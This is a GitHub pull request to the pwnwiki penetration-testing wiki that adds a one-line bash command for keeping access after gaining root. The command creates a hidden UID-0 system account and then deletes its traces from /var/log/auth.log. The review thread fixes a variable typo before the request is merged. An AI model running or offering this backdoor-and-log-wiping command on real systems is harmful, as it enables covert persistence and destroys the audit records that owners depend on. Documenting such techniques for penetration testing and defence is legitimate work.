Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add one line root useradd #85

Merged
merged 4 commits into from
Jun 20, 2014
Merged

Add one line root useradd #85

merged 4 commits into from
Jun 20, 2014

Conversation

oXis
Copy link
Contributor

@oXis oXis commented Jun 19, 2014

maintain access if root gained

maintain access if root gained
@tekwizz123
Copy link
Member

Looks good. @WebBreacher, would anyone be able to test this out at all to double check it works before merging?

@oXis
Copy link
Contributor Author

oXis commented Jun 19, 2014

It works on my Debian Wheezy, and I tested it on a Ubuntu 13.04. Maybe the "sed" part is not very useful, as you want.

@WebBreacher
Copy link
Contributor

I can check it out later tonight if needed.

On Thu, Jun 19, 2014 at 9:07 AM, tekwizz123 notifications@github.com
wrote:

Looks good. @WebBreacher https://github.com/WebBreacher, would anyone
be able to test this out at all to double check it works before merging?

Reply to this email directly or view it on GitHub
#85 (comment)
.

**One line root useradd**
It creates a new root user. You have to change some parameters.
```bash
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like you set PASSWD as the password variable but you call $PASSWORD later. Is that right or should the reference later be $PASSWD?

**One line root useradd**
It creates a new root user. You have to change some parameters.
```bash
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sorry, my bad. I fixed the PASSWD issue.

WebBreacher added a commit that referenced this pull request Jun 20, 2014
Add one line root useradd
@WebBreacher WebBreacher merged commit 7cf64ac into pwnwiki:master Jun 20, 2014
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants